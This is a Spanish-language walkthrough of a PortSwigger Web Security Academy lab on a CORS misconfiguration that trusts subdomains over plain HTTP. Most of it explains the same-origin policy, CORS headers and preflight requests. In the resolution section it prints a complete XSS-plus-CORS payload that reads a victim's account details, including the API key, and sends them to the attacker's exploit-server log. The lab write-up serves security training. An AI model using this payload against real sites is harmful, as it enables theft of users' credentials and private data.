CORS Lab 3
Skills
- CORS vulnerability with trusted insecure protocols
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este sitio web
tiene una configuración
de Cross-Origin Resource Sharing (CORS)
insegura, debido a que confía
en todos los subdominios
sin importar el protocolo
. Para resolver
el laboratorio
, debemos crear un script
de JavaScript
que use Cross-Origin Resource Sharing (CORS)
para obtener la clave API
del administrador
y subir
el payload
a nuestro servidor de explotación
. El laboratorio
se considerará resuelto
cuando enviemos con éxito
la clave API
del administrador
. Podemos iniciar sesión
en nuestra propia cuenta utilizando las siguientes credenciales wiener:peter
Resolución
Al acceder
a la web
vemos esto
Si pulsamos en View details
vemos que podemos checkear
el stock
del producto
en diferentes ciudades
Si pulsamos sobre Check stock
nos redirigirá
a https://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=1&storeId=1
y nos mostrará
el stock
del producto
Hacemos click
sobre My account
y nos logueamos
con las credenciales wiener:peter
Vemos que podemos cambiar
nuestro email
y una clave API
La Same-Origin Policy (SOP)
es un mecanismo de seguridad
del navegador web
que tiene como objetivo prevenir ataques entre sitios web
, esto lo hace impidiendo que un script de una página web acceda a datos de otra página web si no tienen el mismo origen
. El origen
está compuesto por un esquema URI (http://,https://,ftp://)
, un dominio (eneba.com)
y un número de puerto (:80)
. Por ejemplo, la siguiente URL http://normal-website.com/example/example.html
URL | ¿Acceso permitido? |
---|---|
http://normal-website.com/example/ | Sí (mismo esquema URI, dominio y puerto) |
http://normal-website.com/example2/ | Sí (mismo esquema URI, dominio y puerto) |
https://normal-website.com/example/ | No (esquema URI y puerto diferentes) |
http://en.normal-website.com/example/ | No (dominio diferente) |
http://www.normal-website.com/example/ | No (dominio diferente) |
http://normal-website.com:8080/example/ | No (puerto diferente) |
En el caso de Internet Explorer
permite el acceso a http://normal-website.com:8080/example/
porque no tiene en cuenta el número de puerto
al aplicar la política SOP
Cuando un navegador
envía una solicitud HTTP
desde un origen
a otro
, todas las cookies
, incluyendo las de sesión
asociadas al dominio destino
también se envían
como parte de la solicitud
. Esto significa que la respuesta
se generará dentro de la sesión del usuario
e incluirá cualquier dato privado
asociado a su cuenta
. Sin la SOP
, si visitamos un sitio malicioso
, este podría leer
nuestros correos de Gmail
, mensajes privados de Facebook
, etc
La SOP
generalmente controla el acceso
que tiene el código JavaScript
a contenido
cargado desde otro dominio
pero la carga de recursos cross-origin
está permitida. Por ejemplo, la SOP
permite incrustar imágenes
mediante la etiqueta <img>
, medios
con la etiqueta <video>
y JavaScript
mediante la etiqueta <script>
, sin embargo, aunque estos recursos externos
pueden ser cargados
por la página
, cualquier código JavaScript
en la página
no podrá leer el contenido
de estos recursos
Existen varias excepciones
a la SOP
Algunos
objetos
sonmodificables
pero nolegibles
entredominios
, como elobjeto location
o la propiedadlocation.href
eniframes
oventanas nuevas
Algunos
objetos
sonlegibles
pero nomodificables
entredominios
, como lapropiedad closed
y lapropiedad length
delobjeto window
(que almacena elnúmero de frames
en lapágina
)La
función replace
generalmente puede serllamada
entredominios
en elobjeto location
Se pueden
llamar
a ciertasfunciones
entredominios
. Por ejemplo, podemosinvocar
las funcionesclose
,blur
yfocus
en unaventana nueva
. Lafunción postMessage
también puede serusada
eniframes
yventanas nuevas
paraenviar mensajes
de undominio
a otro
Debido a requisitos heredados
, la SOP
es más permisiva
con las cookies
, por lo que suelen ser accesibles
desde todos los subdominios
de un sitio web
, aunque cada subdominio
sea técnicamente un origen diferente
. Podemos mitigar parcialmente
este riesgo
usando el atributo HttpOnly
en las cookies
Es posible relajar la SOP
usando document.domain
, esta propiedad especial permite flexibilizar la SOP
para un dominio específico
, pero solo si forma parte de tu Fully Qualified Domain Name (FQDN)
. Por ejemplo, podrías tener el dominio marketing.ejemplo.com
y querer leer
su contenido
desde ejemplo.com
, para hacerlo, ambos dominios deben configurar document.domain
como ejemplo.com
. Así, la SOP
permitirá el acceso entre los dos dominios pese a tener orígenes diferentes
En el pasado
, era posible asignar document.domain
a un Top-Level Domain (TLD)
(como .com
), lo que permitía acceso
entre cualquier dominio
bajo el mismo Top-Level Domain (TLD)
, pero los navegadores modernos
ya lo impiden
El Cross-Origin Resource Sharing (CORS)
es un mecanismo
del navegador
que permite el acceso controlado
a recursos
ubicados fuera de un dominio
determinado. Amplía y flexibiliza la SOP
. Sin embargo, también puede generar ataques entre dominios
si la política de CORS
de un sitio web
está mal configurada
o mal implementada
. El CORS
no protegerá contra ataques cross-origin
, como el Cross-Site Request Forgery (CSRF)
La SOP
es muy restrictiva
pero se han ideado varios métodos
para eludir sus restricciones
. Muchos sitios web
interactúan con subdominios
o sitios web de terceros
, por lo que se requiere acceso sin restricciones entre dominios
. Una relajación controlada
de la SOP
es posible mediante el uso de CORS
El protocolo CORS
emplea un grupo de cabeceras HTTP
que especifican qué dominios
y propiedades asociadas
están autorizados
, incluyendo si se permite acceso con credenciales
. Las cabeceras HTTP
se combinan
en un intercambio de cabeceras
entre el navegador
y el sitio externo
que se quiere consultar
La cabecera Access-Control-Allow-Origin
se incluye en la respuesta
de un sitio web
a una solicitud
proveniente de otro sitio web
, e indica qué origen
tiene permiso para acceder
al recurso solicitado
El navegador
compara el valor de Access-Control-Allow-Origin
con el origen
del sitio web
que realizó la petición
. Si coinciden
, permite el acceso
a la respuesta
, de lo contrario, lo bloquea
por restricciones de seguridad
La especificación CORS
establece las cabeceras HTTP
que se intercambian
entre servidores web
y navegadores
para controlar
las solicitudes de recursos
provenientes de dominios distintos
al origen
. Entre las cabeceras
definidas por CORS
, Access-Control-Allow-Origin
es la más importante
Esta cabecera
es enviada
por el servidor
como respuesta
cuando recibe una solicitud entre dominios
, la cual incluye automáticamente
la cabecera Origin
agregada por el navegador
Por ejemplo, supongamos que un sitio web
cuyo origen es normal-website.com
realiza la siguiente solicitud entre dominios
1
2
3
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com
El servidor en robust-website.com
responde así
1
2
3
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
El navegador
permitirá que el código
ejecutado en normal-website.com
acceda a la respuesta
porque los orígenes
coinciden. La especificación Access-Control-Allow-Origin
permite múltiples orígenes
, el valor null
o la wildcard *
. Sin embargo, ningún navegador
admite múltiples orígenes
y existen restricciones
en el uso de las wildcards *
El comportamiento predeterminado
de las solicitudes de recursos cross-origin
es que se envíen sin credenciales
(como cookies
o cabeceras de Autorización
). No obstante, el servidor remoto
puede autorizar
el acceso
a la respuesta
cuando se incluyen credenciales
configurando la cabecera Access-Control-Allow-Credentials: true
Si el sitio solicitante
utiliza JavaScript
, puede indicar que envía cookies
con la petición
1
2
3
4
5
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>
La respuesta
a esta solicitud
es la siguiente. En este caso, el navegador
permitirá que el sitio web solicitante
lea la respuesta
, siempre que la cabecera Access-Control-Allow-Credentials
esté configurada como true
. De lo contrario, el navegador bloqueará
el acceso
a la respuesta
1
2
3
4
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
La cabecera Access-Control-Allow-Origin
soporta wildcards
1
Access-Control-Allow-Origin: *
Debemos tener en cuenta que las wildcards
no se pueden usar dentro
de otro valor
, por ejemplo, esta cabecera
no sería válida
1
Access-Control-Allow-Origin: https://*.normal-website.com
Afortunadamente, desde el punto de vista
de la seguridad
, el uso de wildcards
está restringido
, es decir, no se puede usar una wilcard
junto con una transferencia de credenciales (autenticación, cookies o certificados del lado del cliente) cross-origin
ya que esto sería peligrosamente inseguro
, exponiendo cualquier contenido autenticado
en el sitio objetivo
a todos
Dadas estas restricciones
, algunos servidores web
crean dinámicamente las cabeceras Access-Control-Allow-Origin
basándose en el origen especificado
por el cliente
. En consecuencia, la respuesta
a una solicitud entre dominios
luce de esta forma
1
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
El pre-flight check (verificación previa)
se añadió a CORS
para proteger a los recursos legacy
de las opciones de solicitud ampliadas
permitidas por CORS
. En ciertas circunstancias, cuando una solicitud entre dominios
incluye un método HTTP no estándar
o cabeceras personalizadas
, la solicitud cross-origin
va precedida de una petición
que utiliza el método OPTIONS
. El protocolo CORS
exige esta verificación inicial
para determinar qué métodos
y cabeceras
están permitidos antes de autorizar la solicitud entre dominios
. A esto se le denomina pre-flight check
El servidor
responde con una lista de métodos permitidos
, además del origen autorizado
, y el navegador
verifica si el método
utilizado por el sitio solicitante
está incluido en dicha lista
Por ejemplo, esta es una solicitud de preflight
que busca utilizar el método PUT
junto con una cabecera personalizada
llamada Special-Request-Header
1
2
3
4
5
6
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
El servidor
podría devolver
una respuesta
como la siguiente
1
2
3
4
5
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Esta respuesta establece los métodos permitidos (PUT, POST y OPTIONS)
y las cabeceras de solicitud permitidos (Special-Request-Header)
. En este caso particular, el servidor cross-domain
, es decir, el servidor
que acepta solicitudes
provenientes de dominios diferentes al suyo
, también permite
el envío
de credenciales
y la cabecera Access-Control-Max-Age
define un tiempo máximo
para almacenar
en caché
la respuesta pre-flight
para reutilizarla
. Si los métodos
y las cabeceras de solicitud
están permitidos (como en este ejemplo), el navegador
procesa la solicitud cross-origin
de la manera habitual. Las verificaciones preflight
agregan un round-trip (RTT)
adicional de solicitud HTTP
a la petición cross-domain
, lo que aumenta la sobrecarga (overhead)
de navegación
CORS
no proporciona protección contra ataques de Cross-Site Request Forgery (CSRF)
. Como CORS
es una relajación controlada
de la SOP
, una configuración deficiente de CORS
puede aumentar la posibilidad de ataques CSRF
o agravar su impacto
. Existen varias formas de realizar ataques CSRF
sin usar CORS
, por ejemplo, incluyendo formularios HTML
o incluyendo recursos cross-domain
Muchos sitios web modernos
utilizan CORS
para permitir el acceso desde subdominios
y sitios web de terceros
. Sin embargo, su implementación de CORS
puede contener errores
o ser demasiado permisiva
para garantizar que todo funcione, lo que puede resultar en vulnerabilidades explotables
Incluso una configuración "correcta"
de CORS
establece una relación de confianza entre dos orígenes
. Si un sitio web confía en un origen
que es vulnerable a cross-site scripting (XSS)
, un atacante
podría explotar la vulnerabilidad XSS
para inyectar código JavaScript
que utilice CORS
para recuperar información sensible
del sitio web que confía en la aplicación vulnerable
Si se envía
esta petición
1
2
3
4
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
Y el servidor responde
con esto
1
2
3
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Si un atacante
que encuentra una vulnerabilidad XSS
en subdomain.vulnerable-website.com
podría usarla para recuperar la clave API
, utilizando una URL
como esta
1
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
Supongamos que una aplicación
que utiliza estrictamente HTTPS
también incluye en su whitelist
un subdominio de confianza
que está usando HTTP
. Por ejemplo, cuando la una recibe
la siguiente solicitud
1
2
3
4
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
Y responde
con estas cabeceras
1
2
3
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Si un atacante
puede interceptar el tráfico
de un usuario víctima
podría explotar la configuración CORS
para comprometer la interacción
de la víctima
con la web
. Este ataque implica los siguientes pasos
El
usuario víctima
realiza unasolicitud HTTP
El
atacante
inyecta unaredirección
haciahttp://trusted-subdomain.vulnerable-website.com
El
navegador de la víctima
sigue laredirección
El
atacante intercepta la solicitud HTTP sin cifrar
y devuelve unarespuesta falsificada
que contiene unapetición CORS
haciahttps://vulnerable-website.com
El
navegador de la víctima
realiza lapetición CORS
, incluyendo el origenhttp://trusted-subdomain.vulnerable-website.com
La
aplicación permite la solicitud
porque eseorigen
está en lawhitelist
. Losdatos sensibles solicitados
sondevueltos
en larespuesta
La
pagían web falsificada del atacante
puedeleer los datos sensibles
ytransmitirlos a cualquier dominio
bajo elcontrol del atacante
Este ataque
es efectivo
incluso si el sitio web vulnerable implementa HTTPS de forma segura
, es decir, sin endpoints HTTP
y con el atributo secure seteado en todas las cookies
Si nos fijamos en la petición
que se hace a /accountDetails
cuando nos logueamos
, veremos que el servidor
nos responde
con la cabecera Access-Control-Allow-Credentials: true
. Esto no lo hace vulnerable a CORS
, para que sea vulnerable
tenemos que ser capaces de controlar el origen de la petición
Para comprobar si podemos manipular
el origen
de la petición
mandamos esta petición
al Repeater
y probamos a añadir
las cabeceras Origin: null
y Origin: https://exploit-0a2f005e043492fb81bebfa3012e00eb.exploit-server.net/log
. En este caso el servidor no nos deja manipular el origen
Cuando pulsamos
sobre Check stock
vemos que la petición se hace desde un subdominio https://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net
Si probamos a insertar
este dominio
como origen
si que funciona
porque está en la whitelist
La pulsar sobre la función de Check stock
nos redirige
a http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=1&storeId=1
, si inyectamos código JavaScript
en este parámetro
de la URL http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=<script>alert(3)</script>&storeId=1
veremos que es vulnerable
a XSS
Una vez comprobado que ese dominio
es vulnerable
a XSS
y que está en la whitelist
, nos dirigimos al Exploit server
y pegamos
este payload
1
<script> document.location="http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0ae60051047d925c815bc08500f00081.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='http://exploit-0a2f005e043492fb81bebfa3012e00eb.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script>
Pulsamos sobre View exploit
, nos dirigimos al Access log
y vemos que hemos obtenido información
de nuestro usuario
Una vez comprobado
que funciona
, pulsamos sobre Deliver exploit to victim
y nos dirigimos al Access log
nuevamente
Copiamos la cadena de texto
en el Decoder
y la URL decodeamos
Nos copiamos
la apiKey
, pulsamos
sobre Submit solution
y completamos
el laboratorio